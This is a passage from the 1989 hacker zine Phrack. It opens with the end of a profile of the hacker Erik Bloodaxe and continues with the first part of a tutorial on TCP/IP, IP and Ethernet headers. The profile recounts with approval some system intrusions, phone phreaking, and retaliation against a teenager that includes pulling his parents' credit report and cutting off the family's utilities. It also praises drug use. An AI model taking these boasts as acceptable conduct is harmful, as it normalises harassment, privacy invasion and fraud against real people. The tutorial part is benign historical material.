Mainly trial and error. He would find a system, try to get in with simplistic username/password pairs, and then read help. He also reads a lot. He didn't speak out until he was sure of what he was talking about. Erik never asked any questions, but always listened. During the time he was a true "novice," he kept it fairly hidden, because he didn't want to seem stupid.

Chris attributes the knowledge he has gained to himself.

Memorable Phreak/Hack BBSes

~~~~~~~~~~~~~~~~~~~~~~~~~~~

Pirate‑80 (He still call to check in on Scott) Sherwood Forest I, II, III

RACS III (Tuc wouldn't let him on until years after he first called!!) Plovernet (Before and after the move)

COPS (Where he got mail from Lex telling him to call Legion of Doom) WOPR (Getting closer to what BBSes would become)

Hacknet (217)

Legion of Doom (The ultimate in BBSes at the time) Crystal Palace (OSUNY lives again!)

Newsnet (Yes, Sir Knight's BBS)

Blottoland (Lair of the rodents)

Ripco (A looooooong time ago, certainly not now)

The Broadway Show ("Well, Mike was a little off, but so what.") Farmers of Doom! (Run from a pay phone, complete chaos) The Connection (A good private BBS)

Catch‑22 (A "better" private BBS)

The Pipeline (718)

Freeworld II

Executive Inn (Re‑instilled his faith in BBSes)

The Phoenix Project (What he would want his BBS to equal or surpass in quality)

Black Ice (A big leak; ask anyone at the Ameritech security convention)

Pure Nihilism (Too much fun!)

Schooling/Work

~~~~~~~~~~~~~~

Chris is currently struggling as a Computer Science major at University of Texas in Austin with intentions of a PhD, specializing in AI research.

Accomplishments

~~~~~~~~~~~~~~~

Project Educate: Was supposed to replace TAP after Tuc got fed up. No one really knows what happened to it.

LOD/H TJ: Assorted work, major distributor.

Numerous files.

Phreak/Hack Groups

~~~~~~~~~~~~~~~~~~

LOD ‑ In the original recruitment group, still in, still active. What more can be said? "LOD!" basically sums it all up.

Camorra ‑ Erik still gets mad about this. He was asked by the 602 Scorpion to join a group that was being formed. He agreed, and he then came up with Camorra as a name. The other members were Ax Murderer and 301 Executioner. He got Dr. Who, Silver Sabre, and Pit Fiend to join and Karl Marx, Tuc, and Videosmith were kind of in/out‑not‑really‑into‑groups‑but‑we'll‑hang‑out kind of members. Most of them were deep into their phones/computers. They were planning a series of files, such as the first Tymnet directory, a great COSMOS file, a database of scans, etc. Suddenly people began appearing in the group that no one voted on. The group kind of split up into two factions, "us and them." Bloodaxe and Dr. Who just got mad and blew it all off. Pit Fiend got busted, and the Scorpion disappeared.

Interests

~~~~~~~~~

Packet networks (all), telco computers, Unixes, scanning (every night for almost 5 years!)

Favorite Things

~~~~~~~~~~~~~~~

Beer‑‑Tsing Tao, Michelob Dry, Coors Light. (He am in college, you know!) Ecstasy‑‑Grinding away (His teeth and his mind).

Getting into a system on the first try.

Unprotected crontab files.

Scanning. Anything, for anything, just doing it!

A certain shapely 5'2" blonde who shall remain nameless.

Most Memorable Experiences

~~~~~~~~~~~~~~~~~~~~~~~~~~

Alliance Teleconferencing way back when. Tandem scanning out other sites in Houston and Dallas. Transferring control to directory assistance ACD loops, and leaving it there until he wanted to run one. Waking up the next morning and yelling into the phone at everyone else who had stayed on the conference and starting to talk again. Conferences that lasted a week. Catching Draper in lies. Busying out all the 408 DA's. Boxing on a conference and trunking Karl Marx. Calling random numbers in California and adding them in if they sounded like teenage girls. "Giving" people unlimited trial usage of a "new" long distance service (LOD Telecommunications). Jennifer, the Alliance operator who had it out for him ("This is that Bloody‑axe person isn't it?").

The Wharton School of Business Dec‑10. For nearly a month all the nation's top phreaks and hackers hung out on this system and used the chat program. It was "the" place to be (kind of like an Altger Altos of the past, but no idiots). Finally they killed the account, not because of abuse, but because they were loading the system down. The students and operators were really cool about the whole thing.

Finding (and spreading around everywhere) the White House Signal number. A number of my friends kept calling it, posing as the mayor of San Antonio, Henry Cisneros, eventually causing the Secret Service call our high school, and telling the administrators to grab the people using the payphone to find out what the hell they were trying to do.

Taking down almost every BBS in Alaska when he was denied access to one. He pulled the poor kid's parents credit report, sent a copy to the kid over his modem, and disconnected the kid's phone, electricity, and water. He then went around taking down the BBSes where the kid had friends (guilt by association). Word got around the nation kind of fast. Erik got on most BBSes without much trouble after all that. He had a project to be on at least one BBS in every area code. Bloodaxe had to get on non‑hack/pirate ones in a few areas, but he managed to do it. He stayed active on all of them for several months. At one time, he was on about 140 BBSes!!!

Reading a new edition of Newsweek with a story by Richard Sandza in it over a very crowded conference, then suggesting that he should get some Slim Whitman albums and Civil War Chess Sets via his Visa. Erik pulled his history, to scare him, but lost it. When he pulled it later, there were nearly 100 inquiries, most by a certain Massachusetts Bank. At least they gave him a good source for a follow‑up article.

Finding out that a certain long distance service (reselling AT&T WATS) would reset to a WATS dialtone when 2600 was blasted and then setting up a program to call MTV's 900 number repeatedly to ensure that Duran Duran would get severely beaten.

Bloodaxe remembers boxing up a conference while waiting for the police to come, and fighting the impulse to run away. He had tickets carded to Philadelphia International on a flight that afternoon (on the conference), and Telenet Bob was ready to meet Erik's flight, Mark Tabas was ready to send him a blank birth certificate, not to mention offers to stay with Dr. Who or Telenet Bob for as long as he needed to get settled. Karl Marx talked him out of it though. He was packed and ready to leave and become a new person in a new city. Looking back, he's DAMN glad he didn't do it!

Bloodaxe and Who‑Bob deciding one fateful day to see if they could talk to each other's port on Telenet using an ID they had used for the LOD Telenet directory.

Some People to Mention

~~~~~~~~~~~~~~~~~~~~~~

Dr. Who ‑‑ "My closest hacker counterpart. We joke about being 60 with grandchildren, still having never met, calling each other daily, with stories about how we just defeated some ISDN service."

The Mentor ‑‑ "My favorite drinking buddy. The first hacker I ever met face‑to‑face."

Control C ‑‑ "One person who can almost equal me in outrageous behavior. Yes, Dan, I said almost! Nyahh Nyahh!"

Inside Jokes

~~~~~~~~~~~~

Lame, Lame, Lame

LEGION OF DOOM IN DALLAS...FEDS BAFFLED

Serious Section

~~~~~~~~~~~~~~~

Chris makes it a point to make huge filibusters on boards where he sees anything having even anything remotely related to carding. Credit card fraud truly gives hacking a bad name. Snooping around a VAX is just electronic voyeurism... carding a new modem is just flat out blue‑collar crime. It's just as bad as breaking into a house or kicking a puppy! He does everything he can (even up to turning off a number) to get credit information taken off a BBS. He also tries to remove codes from BBSes. He doesn't see code abuse in the same light as credit card fraud, (although the law does), but posted codes are the quickest way to get your board busted, and your computer confiscated. People should just find a local outdial to wherever they want to call and use that. If you only make local calls from an outdial, it will never die, you will keep out of trouble, and everyone will be happy.

Marijuana, cocaine, LSD, MDMA (& analogs), and methamphetamine should be legalized and sold in a controlled fashion, regulated by the government. Money spent currently on combatting drug traffic should be spent on the deficit, and on drug education and rehabilitation. Making petty vices illegal only breeds crime; look at prohibition, look at gambling, look at how fast people go on the highway. You cannot fight a losing battle, and therefore, must take on a new strategy. Alcohol is the only drug he has ever imbibed and lost all consciousness and complete control of his actions. He thinks it is THE most dangerous drug around, and anyone can get as much of it as they want with very little effort. It is legal, but not everyone drinks. If marijuana was legal not everyone would smoke it. He wouldn't for one; he hates it. However, farmers would no longer lose their farms; and most importantly, the economy would be boosted greatly. Things have got to change.

Are Phreaks/Hackers You've Met Generally Computer Geeks?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Of course not. There are some that are, but generally there is an average sampling of the general population. Hacking is just another hobby. Most people who collect comic books are not all the same, most people who play backgammon are not similar in physical characteristics either. The closest stereotype he could ever even say existed was 6 or so years ago, and that would be that most hackers then were Jewish and from New York state. An obnoxious Texan WASP like Chris really stood out.

Thanks for your time, Chris.

Taran King

Introduction to the Internet Protocols

==Phrack Inc.==

Volume Three, Issue 28, File #3 of 12

<><><><><><><><><><><><><><><><><

<>

<> Introduction to the Internet Protocols <>

<> ~~~~~~~~~~~~~~~~~~~~

<> Chapter Eight Of The Future Transcendent Saga <>

<>

<> Part One of Two Files <>

<>

<> Presented by Knight Lightning <>

<> July 3, 1989 <>

<>

<><><><><><><><><><><><><><><><><

Prologue

~~~~~~~~

Much of the material in this file comes from "Introduction to the Internet Protocols" by Charles L. Hedrick of Rutgers University. That material is copyrighted and is used in this file by permission. Time differention and changes in the wide area networks have made it necessary for some details of the file to updated and in some cases reworded for better understanding of our readers. Also, Unix is a trademark of AT&T Technologies, Inc. ‑‑ Just thought I'd let you know.

If you are not already familiar with TCP/IP, I would suggest that you read "Introduction to MIDNET" (Phrack Inc., Volume Three, Issue 27, File 3 of 12) for more information. That file is Chapter Seven of The Future Transcendent Saga and contains information about TCP/IP and how it is used within the National Science Foundation Network (NSFnet).

Table of Contents ‑ Part One

~~~~~~~~~~~~~~~~~

* Introduction

* What Is TCP/IP?

* General Description Of The TCP/IP Protocols

The TCP Level

The IP Level

The Ethernet Level

Introduction

~~~~~~~~~~~~

This article is a brief introduction to TCP/IP, followed by suggestions on what to read for more information. This is not intended to be a complete description, but it can give you a reasonable idea of the capabilities of the protocols. However, if you need to know any details of the technology, you will want to read the standards yourself.

Throughout the article, you will find references to the standards, in the form of "RFC" (Request For Comments) or "IEN" (Internet Engineering Notes) numbers ‑‑ these are document numbers. The final section (in Part Two) explains how you can get copies of those standards.

What Is TCP/IP?

~~~~~~~~~~~~~~~

TCP/IP is a set of protocols developed to allow cooperating computers to share resources across a network. It was developed by a community of researchers centered around the ARPAnet.

First some basic definitions; The most accurate name for the set of protocols I am describing is the "Internet protocol suite." TCP and IP are two of the protocols in this suite (they will be described below). Because TCP and IP are the best known of the protocols, it has become common to use the term TCP/IP to refer to the whole family.

The Internet is a collection of networks, including the Arpanet, NSFnet, regional networks such as MIDnet (described in Chapter Seven of the Future Transcendent Saga), local networks at a number of University and research institutions, and a number of military networks. The term "Internet" applies to this entire set of networks.

The subset of them that is managed by the Department of Defense is referred to as the "DDN" (Defense Data Network). This includes some research‑oriented networks, such as the ARPAnet, as well as more strictly military ones (because much of the funding for Internet protocol developments is done via the DDN organization, the terms Internet and DDN can sometimes seem equivalent).

All of these networks are connected to each other. Users can send messages from any of them to any other, except where there are security or other policy restrictions on access. Officially speaking, the Internet protocol documents are simply standards adopted by the Internet community for its own use. The Department of Defense once issued a MILSPEC definition of TCP/IP that was intended to be a more formal definition, appropriate for use in purchasing specifications. However most of the TCP/IP community continues to use the Internet standards. The MILSPEC version is intended to be consistent with it.

Whatever it is called, TCP/IP is a family of protocols. A few provide "low‑level" functions needed for many applications. These include IP, TCP, and UDP (all of which will be described in a bit more detail later in this file). Others are protocols for doing specific tasks, e.g. transferring files between computers, sending mail, or finding out who is logged in on another computer.

Initially TCP/IP was used mostly between minicomputers or mainframes. These machines had their own disks, and generally were self‑contained. Thus the most important "traditional" TCP/IP services are:

‑ File Transfer ‑‑ The file transfer protocol (FTP) allows a user on any computer to get files from another computer, or to send files to another computer. Security is handled by requiring the user to specify a user name and password for the other computer.

Provisions are made for handling file transfer between machines with different character set, end of line conventions, etc. This is not quite the same as "network file system" or "netbios" protocols, which will be described later. Instead, FTP is a utility that you run any time you want to access a file on another system. You use it to copy the file to your own system. You then can work with the local copy. (See RFC 959 for specifications for FTP.)

‑ Remote Login ‑‑ The network terminal protocol (TELNET) allows a user to log in on any other computer on the network. You start a remote session by specifying a computer to connect to. From that time until you finish the session, anything you type is sent to the other computer. Note that you are really still talking to your own computer, but the telnet program effectively makes your computer invisible while it is running. Every character you type is sent directly to the other system. Generally, the connection to the remote computer behaves much like a dialup connection. That is, the remote system will ask you to log in and give a password, in whatever manner it would normally ask a user who had just dialed it up.

When you log off of the other computer, the telnet program exits, and you will find yourself talking to your own computer. Microcomputer implementations of telnet generally include a terminal emulator for some common type of terminal. (See RFCs 854 and 855 for specifications for telnet. By the way, the telnet protocol should not be confused with Telenet, a vendor of commercial network services.)

‑ Computer Mail ‑‑ This allows you to send messages to users on other computers. Originally, people tended to use only one or two specific computers and they would maintain "mail files" on those machines. The computer mail system is simply a way for you to add a message to another user's mail file. There are some problems with this in an environment where microcomputers are used.

The most serious is that a micro is not well suited to receive computer mail. When you send mail, the mail software expects to be able to open a connection to the addressee's computer, in order to send the mail. If this is a microcomputer, it may be turned off, or it may be running an application other than the mail system. For this reason, mail is normally handled by a larger system, where it is practical to have a mail server running all the time. Microcomputer mail software then becomes a user interface that retrieves mail from the mail server. (See RFC 821 and 822 for specifications for computer mail. See RFC 937 for a protocol designed for microcomputers to use in reading mail from a mail server.)

These services should be present in any implementation of TCP/IP, except that micro‑oriented implementations may not support computer mail. These traditional applications still play a very important role in TCP/IP‑based networks. However more recently, the way in which networks are used has been changing. The older model of a number of large, self‑sufficient computers is beginning to change. Now many installations have several kinds of computers, including microcomputers, workstations, minicomputers, and mainframes. These computers are likely to be configured to perform specialized tasks. Although people are still likely to work with one specific computer, that computer will call on other systems on the net for specialized services. This has led to the "server/client" model of network services. A server is a system that provides a specific service for the rest of the network. A client is another system that uses that service. Note that the server and client need not be on different computers. They could be different programs running on the same computer. Here are the kinds of servers typically present in a modern computer setup. Also note that these computer services can all be provided within the framework of TCP/IP.

‑ Network file systems. This allows a system to access files on another computer in a somewhat more closely integrated fashion than FTP. A network file system provides the illusion that disks or other devices from one system are directly connected to other systems. There is no need to use a special network utility to access a file on another system. Your computer simply thinks it has some extra disk drives. These extra "virtual" drives refer to the other system's disks. This capability is useful for several different purposes. It lets you put large disks on a few computers, but still give others access to the disk space. Aside from the obvious economic benefits, this allows people working on several computers to share common files. It makes system maintenance and backup easier, because you don't have to worry about updating and backing up copies on lots of different machines. A number of vendors now offer high‑performance diskless computers. These computers have no disk drives at all. They are entirely dependent upon disks attached to common "file servers". (See RFC's 1001 and 1002 for a description of PC‑oriented NetBIOS over TCP. In the workstation and minicomputer area, Sun's Network File System is more likely to be used. Protocol specifications for it are available from Sun Microsystems.) remote printing. This allows you to access printers on other computers as if they were directly attached to yours. (The most commonly used protocol is the remote lineprinter protocol from Berkeley Unix. Unfortunately, there is no protocol document for this. However the C code is easily obtained from Berkeley, so implementations are common.)

‑ Remote execution. This allows you to request that a particular program be run on a different computer. This is useful when you can do most of your work on a small computer, but a few tasks require the resources of a larger system. There are a number of different kinds of remote execution. Some operate on a command by command basis. That is, you request that a specific command or set of commands should run on some specific computer. (More sophisticated versions will choose a system that happens to be free.) However there are also "remote procedure call" systems that allow a program to call a subroutine that will run on another computer. (There are many protocols of this sort. Berkeley Unix contains two servers to execute commands remotely: rsh and rexec. The Unix "man" pages describe the protocols that they use. The user‑contributed software with Berkeley 4.3 contains a "distributed shell" that will distribute tasks among a set of systems, depending upon load.

‑ Name servers. In large installations, there are a number of different collections of names that have to be managed. This includes users and their passwords, names and network addresses for computers, and accounts. It becomes very tedious to keep this data up to date on all of the computers. Thus the databases are kept on a small number of systems. Other systems access the data over the network. (RFC 822 and 823 describe the name server protocol used to keep track of host names and Internet addresses on the Internet. This is now a required part of any TCP/IP implementation. IEN 116 describes an older name server protocol that is used by a few terminal servers and other products to look up host names. Sun's Yellow Pages system is designed as a general mechanism to handle user names, file sharing groups, and other databases commonly used by Unix systems. It is widely available commercially. Its protocol definition is available from Sun.)

‑ Terminal servers. Many installations no longer connect terminals directly to computers. Instead they connect them to terminal servers. A terminal server is simply a small computer that only knows how to run telnet (or some other protocol to do remote login). If your terminal is connected to one of these, you simply type the name of a computer, and you are connected to it. Generally it is possible to have active connections to more than one computer at the same time. The terminal server will have provisions to switch between connections rapidly, and to notify you when output is waiting for another connection. (Terminal servers use the telnet protocol, already mentioned. However any real terminal server will also have to support name service and a number of other protocols.)

‑ Network‑oriented window systems. Until recently, high‑performance graphics programs had to execute on a computer that had a bit‑mapped graphics screen directly attached to it. Network window systems allow a program to use a display on a different computer. Full‑scale network window systems provide an interface that lets you distribute jobs to the systems that are best suited to handle them, but still give you a single graphically‑based user interface. (The most widely‑implemented window system is X. A protocol description is available from MIT's Project Athena. A reference implementation is publically available from MIT. A number of vendors are also supporting NeWS, a window system defined by Sun. Both of these systems are designed to use TCP/IP.)

Note that some of the protocols described above were designed by Berkeley, Sun, or other organizations. Thus they are not officially part of the Internet protocol suite. However they are implemented using TCP/IP, just as normal TCP/IP application protocols are. Since the protocol definitions are not considered proprietary, and since commercially‑supported implementations are widely available, it is reasonable to think of these protocols as being effectively part of the Internet suite.

Note that the list above is simply a sample of the sort of services available through TCP/IP. However it does contain the majority of the "major" applications. The other commonly‑used protocols tend to be specialized facilities for getting information of various kinds, such as who is logged in, the time of day, etc. However if you need a facility that is not listed here, I encourage you to look through the current edition of Internet Protocols (currently RFC 1011), which lists all of the available protocols, and also to look at some of the major TCP/IP implementations to see what various vendors have added.

General Description Of The TCP/IP Protocols

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

TCP/IP is a layered set of protocols. In order to understand what this means, it is useful to look at an example. A typical situation is sending mail. First, there is a protocol for mail. This defines a set of commands which one machine sends to another, e.g. commands to specify who the sender of the message is, who it is being sent to, and then the text of the message. However this protocol assumes that there is a way to communicate reliably between the two computers. Mail, like other application protocols, simply defines a set of commands and messages to be sent. It is designed to be used together with TCP and IP.

TCP is responsible for making sure that the commands get through to the other end. It keeps track of what is sent, and retransmitts anything that did not get through. If any message is too large for one datagram, e.g. the text of the mail, TCP will split it up into several datagrams, and make sure that they all arrive correctly. Since these functions are needed for many applications, they are put together into a separate protocol, rather than being part of the specifications for sending mail. You can think of TCP as forming a library of routines that applications can use when they need reliable network communications with another computer.

Similarly, TCP calls on the services of IP. Although the services that TCP supplies are needed by many applications, there are still some kinds of applications that don't need them. However there are some services that every application needs. So these services are put together into IP. As with TCP, you can think of IP as a library of routines that TCP calls on, but which is also available to applications that don't use TCP. This strategy of building several levels of protocol is called "layering." I like to think of the applications programs such as mail, TCP, and IP, as being separate "layers," each of which calls on the services of the layer below it. Generally, TCP/IP applications use 4 layers:

‑ An application protocol such as mail.

‑ A protocol such as TCP that provides services need by many applications.

‑ IP, which provides the basic service of getting datagrams to their destination.

‑ The protocols needed to manage a specific physical medium, such as Ethernet or a point to point line.

TCP/IP is based on the "catenet model." (This is described in more detail in IEN 48.) This model assumes that there are a large number of independent networks connected together by gateways. The user should be able to access computers or other resources on any of these networks. Datagrams will often pass through a dozen different networks before getting to their final destination. The routing needed to accomplish this should be completely invisible to the user. As far as the user is concerned, all he needs to know in order to access another system is an "Internet address." This is an address that looks like 128.6.4.194. It is actually a 32‑bit number. However it is normally written as 4 decimal numbers, each representing 8 bits of the address. (The term "octet" is used by Internet documentation for such 8‑bit chunks. The term "byte" is not used, because TCP/IP is supported by some computers that have byte sizes other than 8 bits.)

Generally the structure of the address gives you some information about how to get to the system. For example, 128.6 is a network number assigned by a central authority to Rutgers University. Rutgers uses the next octet to indicate which of the campus Ethernets is involved. 128.6.4 happens to be an Ethernet used by the Computer Science Department. The last octet allows for up to 254 systems on each Ethernet. (It is 254 because 0 and 255 are not allowed, for reasons that will be discussed later.) Note that 128.6.4.194 and 128.6.5.194 would be different systems. The structure of an Internet address is described in a bit more detail later.

Of course I normally refer to systems by name, rather than by Internet address. When I specify a name, the network software looks it up in a database, and comes up with the corresponding Internet address. Most of the network software deals strictly in terms of the address. (RFC 882 describes the name server technology used to handle this lookup.)

TCP/IP is built on "connectionless" technology. Information is transfered as a sequence of "datagrams." A datagram is a collection of data that is sent as a single message. Each of these datagrams is sent through the network individually. There are provisions to open connections (i.e. to start a conversation that will continue for some time). However at some level, information from those connections is broken up into datagrams, and those datagrams are treated by the network as completely separate. For example, suppose you want to transfer a 15000 octet file. Most networks can't handle a 15000 octet datagram. So the protocols will break this up into something like 30 500‑octet datagrams. Each of these datagrams will be sent to the other end. At that point, they will be put back together into the 15000‑octet file. However while those datagrams are in transit, the network doesn't know that there is any connection between them. It is perfectly possible that datagram 14 will actually arrive before datagram 13. It is also possible that somewhere in the network, an error will occur, and some datagram won't get through at all. In that case, that datagram has to be sent again.

Note by the way that the terms "datagram" and "packet" often seem to be nearly interchangable. Technically, datagram is the right word to use when describing TCP/IP. A datagram is a unit of data, which is what the protocols deal with. A packet is a physical thing, appearing on an Ethernet or some wire. In most cases a packet simply contains a datagram, so there is very little difference. However they can differ. When TCP/IP is used on top of X.25, the X.25 interface breaks the datagrams up into 128‑byte packets. This is invisible to IP, because the packets are put back together into a single datagram at the other end before being processed by TCP/IP. So in this case, one IP datagram would be carried by several packets. However with most media, there are efficiency advantages to sending one datagram per packet, and so the distinction tends to vanish.

* The TCP level

Two separate protocols are involved in handling TCP/IP datagrams. TCP (the "transmission control protocol") is responsible for breaking up the message into datagrams, reassembling them at the other end, resending anything that gets lost, and putting things back in the right order. IP (the "internet protocol") is responsible for routing individual datagrams. It may seem like TCP is doing all the work. However in the Internet, simply getting a datagram to its destination can be a complex job. A connection may require the datagram to go through several networks at Rutgers, a serial line to the John von Neuman Supercomputer Center, a couple of Ethernets there, a series of 56Kbaud phone lines to another NSFnet site, and more Ethernets on another campus. Keeping track of the routes to all of the destinations and handling incompatibilities among different transport media turns out to be a complex job. Note that the interface between TCP and IP is fairly simple. TCP simply hands IP a datagram with a destination. IP doesn't know how this datagram relates to any datagram before it or after it.

It may have occurred to you that something is missing here. I have talked about Internet addresses, but not about how you keep track of multiple connections to a given system. Clearly it isn't enough to get a datagram to the right destination. TCP has to know which connection this datagram is part of. This task is referred to as "demultiplexing." In fact, there are several levels of demultiplexing going on in TCP/IP. The information needed to do this demultiplexing is contained in a series of "headers." A header is simply a few extra octets tacked onto the beginning of a datagram by some protocol in order to keep track of it. It's a lot like putting a letter into an envelope and putting an address on the outside of the envelope. Except with modern networks it happens several times. It's like you put the letter into a little envelope, your secretary puts that into a somewhat bigger envelope, the campus mail center puts that envelope into a still bigger one, etc. Here is an overview of the headers that get stuck on a message that passes through a typical TCP/IP network:

It starts with a single data stream, say a file you are trying to send to some other computer:

...................................

TCP breaks it up into manageable chunks. (In order to do this, TCP has to know how large a datagram your network can handle. Actually, the TCP's at each end say how big a datagram they can handle, and then they pick the smallest size.)

.... .... .... .... .... .... ....

TCP puts a header at the front of each datagram. This header actually contains at least 20 octets, but the most important ones are a source and destination "port number" and a "sequence number." The port numbers are used to keep track of different conversations. Suppose 3 different people are transferring files. Your TCP might allocate port numbers 1000, 1001, and 1002 to these transfers. When you are sending a datagram, this becomes the "source" port number, since you are the source of the datagram. Of course the TCP at the other end has assigned a port number of its own for the conversation. Your TCP has to know the port number used by the other end as well. (It finds out when the connection starts, as I will explain below.) It puts this in the "destination" port field. Of course if the other end sends a datagram back to you, the source and destination port numbers will be reversed, since then it will be the source and you will be the destination. Each datagram has a sequence number. This is used so that the other end can make sure that it gets the datagrams in the right order, and that it hasn't missed any. (See the TCP specification for details.) TCP doesn't number the datagrams, but the octets. So if there are 500 octets of data in each datagram, the first datagram might be numbered 0, the second 500, the next 1000, the next 1500, etc. Finally, I will mention the Checksum. This is a number that is computed by adding up all the octets in the datagram (more or less ‑ see the TCP spec). The result is put in the header. TCP at the other end computes the checksum again. If they disagree, then something bad happened to the datagram in transmission, and it is thrown away. So here's what the datagram looks like now.

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+

| Source Port | Destination Port |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+

| Sequence Number |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+

| Acknowledgment Number |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+

| Data | |U|A|P|R|S|F| |

| Offset| Reserved |R|C|S|S|Y|I| Window |

| | |G|K|H|T|N|N| |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+

| Checksum | Urgent Pointer |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+

| your data ... next 500 octets |

| ......

If you abbreviate the TCP header as "T", the whole file now looks like this:

T.... T.... T.... T.... T.... T.... T....

You will note that there are items in the header that I have not described above. They are generally involved with managing the connection. In order to make sure the datagram has arrived at its destination, the recipient has to send back an "acknowledgement." This is a datagram whose "Acknowledgement number" field is filled in. For example, sending a packet with an acknowledgement of 1500 indicates that you have received all the data up to octet number 1500. If the sender doesn't get an acknowledgement within a reasonable amount of time, it sends the data again. The window is used to control how much data can be in transit at any one time. It is not practical to wait for each datagram to be acknowledged before sending the next one. That would slow things down too much. On the other hand, you can't just keep sending, or a fast computer might overrun the capacity of a slow one to absorb data. Thus each end indicates how much new data it is currently prepared to absorb by putting the number of octets in its "Window" field. As the computer receives data, the amount of space left in its window decreases. When it goes to zero, the sender has to stop. As the receiver processes the data, it increases its window, indicating that it is ready to accept more data. Often the same datagram can be used to acknowledge receipt of a set of data and to give permission for additional new data (by an updated window). The "Urgent" field allows one end to tell the other to skip ahead in its processing to a particular octet. This is often useful for handling asynchronous events, for example when you type a control character or other command that interrupts output. The other fields are not pertinent to understanding what I am trying to explain in this article.

* The IP Level

TCP sends each datagram to IP. Of course it has to tell IP the Internet address of the computer at the other end. Note that this is all IP is concerned about. It doesn't care about what is in the datagram, or even in the TCP header. IP's job is simply to find a route for the datagram and get it to the other end. In order to allow gateways or other intermediate systems to forward the datagram, it adds its own header. The main things in this header are the source and destination Internet address (32‑bit addresses, like 128.6.4.194), the protocol number, and another checksum. The source Internet address is simply the address of your machine. (This is necessary so the other end knows where the datagram came from.) The destination Internet address is the address of the other machine. (This is necessary so any gateways in the middle know where you want the datagram to go.) The protocol number tells IP at the other end to send the datagram to TCP.

Although most IP traffic uses TCP, there are other protocols that can use IP, so you have to tell IP which protocol to send the datagram to. Finally, the checksum allows IP at the other end to verify that the header wasn't damaged in transit. Note that TCP and IP have separate checksums. IP needs to be able to verify that the header didn't get damaged in transit, or it could send a message to the wrong place. It is both more efficient and safer to have TCP compute a separate checksum for the TCP header and data. Once IP has tacked on its header, here's what the message looks like:

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

|Version| IHL |Type of Service| Total Length |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| Identification |Flags| Fragment Offset |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| Time to Live | Protocol | Header Checksum |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| Source Address |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| Destination Address |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| TCP header, then your data ...... |

|

If you represent the IP header by an "I", your file now looks like this:

IT.... IT.... IT.... IT.... IT.... IT.... IT....

Again, the header contains some additional fields that will not be discussed in this article because they are not relevent to understanding the process. The flags and fragment offset are used to keep track of the pieces when a datagram has to be split up. This can happen when datagrams are forwarded through a network for which they are too big. (This will be discussed a bit more below.) The time to live is a number that is decremented whenever the datagram passes through a system. When it goes to zero, the datagram is discarded. This is done in case a loop develops in the system somehow. Of course this should be impossible, but well‑designed networks are built to cope with "impossible" conditions.

At this point, it's possible that no more headers are needed. If your computer happens to have a direct phone line connecting it to the destination computer, or to a gateway, it may simply send the datagrams out on the line (though likely a synchronous protocol such as HDLC would be used, and it would add at least a few octets at the beginning and end).

* The Ethernet Level

Most networks these days use Ethernet which has its own addresses. The people who designed Ethernet wanted to make sure that no two machines would end up with the same Ethernet address. Furthermore, they didn't want the user to have to worry about assigning addresses. So each Ethernet controller comes with an address built‑in from the factory. In order to make sure that they would never have to reuse addresses, the Ethernet designers allocated 48 bits for the Ethernet address. People who make Ethernet equipment have to register with a central authority, to make sure that the numbers they assign don't overlap any other manufacturer. Ethernet is a "broadcast medium." That is, it is in effect like an old party line telephone. When you send a packet out on the Ethernet, every machine on the network sees the packet. So something is needed to make sure that the right machine gets it. As you might guess, this involves the Ethernet header.

Every Ethernet packet has a 14‑octet header that includes the source and destination Ethernet address, and a type code. Each machine is supposed to pay attention only to packets with its own Ethernet address in the destination field. (It's perfectly possible to cheat, which is one reason that Ethernet communications are not terribly secure.) Note that there is no connection between the Ethernet address and the Internet address. Each machine has to have a table of what Ethernet address corresponds to what Internet address. (I will describe how this table is constructed a bit later.) In addition to the addresses, the header contains a type code. The type code is to allow for several different protocol families to be used on the same network. So you can use TCP/IP, DECnet, Xerox NS, etc. at the same time. Each of them will put a different value in the type field. Finally, there is a checksum. The Ethernet controller computes a checksum of the entire packet. When the other end receives the packet, it recomputes the checksum, and throws the packet away if the answer disagrees with the original. The checksum is put on the end of the packet, not in the header. The final result is that your message looks like this:

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| Ethernet destination address (first 32 bits) |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| Ethernet dest (last 16 bits) |Ethernet source (first 16 bits)|

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| Ethernet source address (last 32 bits) |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| Type code |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| IP header, then TCP header, then your data |

|

...

|

| end of your data

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

| Ethernet Checksum |

+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑+‑

If you represent the Ethernet header with "E", and the Ethernet checksum with "C", your file now looks like this:

EIT....C EIT....C EIT....C EIT....C EIT....C

